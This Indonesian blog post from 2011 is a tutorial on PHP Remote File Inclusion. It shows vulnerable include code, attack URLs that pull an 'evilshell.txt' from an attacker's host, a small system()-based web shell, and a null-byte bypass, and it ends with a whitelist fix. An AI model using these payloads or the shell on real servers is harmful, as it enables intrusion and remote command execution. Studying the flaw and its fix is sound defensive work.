Minggu, 10 Juli 2011

RFI Proof Of Concept

 Dikutip dari Web HN Lama .

Kali ini GT ingin share tentang Remote File Inclusion..yaitu salah satu teknik exploitasi bug pada PHP.

Definisinya=- RFI [ Remote File Inclusion ] : Celah / vulnerablillity yang
memungkinkan attacker menyimpan dan mengeksekusi script yang berbahaya di
server web tersebut

Function2 yg dapat kita otak atik contoh na...



Code:

require() - membaca file dan content lain sebagai code PHP secara lokal maupun remote
_once
include() - membaca file dan content lain sebagai code PHP secara lokal maupun remote
_once Mari kita mulai...

RFI adalah celah yang sangat berbahaya..karena bisa berakibat orang lain mengacak isi server..

misalkan

yang enak dulu..

FILE TEST.PHP


Code:

require($drummer . "/include/portnoyganteng.php");
?>
nah lho..

kita lihat

pada file TEST.php di line 3 bisa kita lihat bahwa $drummer tidak terdefine terlebih dahulu,
sehingga dapat diperdayakan tuh oleh user untuk menjalankan script code PHP yang telah di persiapkan
di server remote penyerang, ini yang disebut File Remote Inclusion....
kenapa File Remote ?,..karena file yang di jalankan pada sisi server tidak terletak pada lokal server tersebut,
namun secara remote..yg berada di hosting kita..

Contoh serangan pada TEST.php



Code:
www.site.com/test.php?drummer=evilshell?

nah itu dasarnya..

oke selanjutnya..

liat code ini nih....:

INDEX.PHP



Code:

    $page = $_GET['page'];

    if (isset($page))
    {
    include($page);
    }
    ?>

hampir sama seperti diatas..
dalam coding php diatas terdapat variable $_GET dimana script akan
membuka sebuah halaman contohnya wkwkwkw :


Code:
www.portnoy.com/index.php?page=portnoyganteng.php

maka hasil dari perintah tersebut adalah terbukanya halaman
portnoyganteng.php :d

nah
gimana kalau kita melakukan ini?


Code:
www.portnoy.com/index.php?page=http://www.hostingkita/evilshell.txt?

setelah mengirim perintah di atas akan terjadi..:




Code:

    $page = $_GET['page'];

    if (isset($page))
    {
    include('http://www.hostingloe/evilshell.txt?');
    }
    ?>

teks file tsb berhasil di include..
dan misalnya teks file tersebut berisi perintah php seperti :




Code:

    $command = $_GET['cmd'];

    if ($command)
    {
    @system($command);
    }
    echo "
   
<form method=GET>    <input type=text name=cmd></input>
    <input type=submit name=submit value="Go!"></input>
   
</form>";
    ?>

maka dalam web akan ada kotak commands yg bisa kita otak atik menggunakan field kotak tsb..hehehe..

Nah sekarang...

bagaimana cara menutup celah RFI ini ?
sebagian orang menutup celah ini dengan coding sprt ini :




Code:

    $page = $_GET['page'];
    $page = $page . ".php";

    if (isset($page))
    {
    include($page);
    }
    ?>


dengan coding diatas script php hanya bisa menginclude file php..
tapi cara itu sebetulnya masih kurang aman..Mengapa ?
karena masih ada yang dinamakan nullbyte [] ( memerintahkan php untuk
mengabaikan perintah setelah perintah tsb (seperti -- dalam query SQL)
dan cara menembus file php di atas ialah sbg brkt:


Code:
www.portnoy.com/index.php?page=www.hostingloe/evilshell.txt?
kita lihat NullByte []
dan melompati phase script php sprt ini :



Code:

    $page = $_GET['page'];
    $page = $page . ".php";

    if (isset($page))
    {
    include('www.hostingloe/evilshell.txt?'); // lupakan semua sesudah
nullbyte . dalam kasus ini adalah ".php"
    }
    ?>

lalu bagaimana agar system web seutuhnya aman ???
hmm...
nah lho..gmn ya ?
cara satu2nya ialah memberikan statement switch pada script php tsb
contoh..




Code:

    if(isset($_REQUEST['page']))
    {
    switch ($_REQUEST['page']) {

    case 'about':
    include('about.php'); // jika page tersebut berisi file about.php
maka include page tsb.
    break;

    case 'contact':
    include('contact.php'); // sama seperti diatas :)
    break;

    default:
    include('index.php'); //halaman default untuk di include, bila
variable halaman tidak ditemukan maka :)
    break;

    }
    }


    ?>

nah jika kita lakukan itu..maka akan kembali ke index.php karena gagal di include..

hehehe...

oiya..

kebutuhan dalam RFI adalah..

Persyaratan System(php.ini)
----------------------
register_globals=On
allow_url_fopen=On
pada server tersebut(TEST.php atau INDEX.php yg blm terdefine)
shell (c99 or r57, dll)

Tidak ada komentar:

Posting Komentar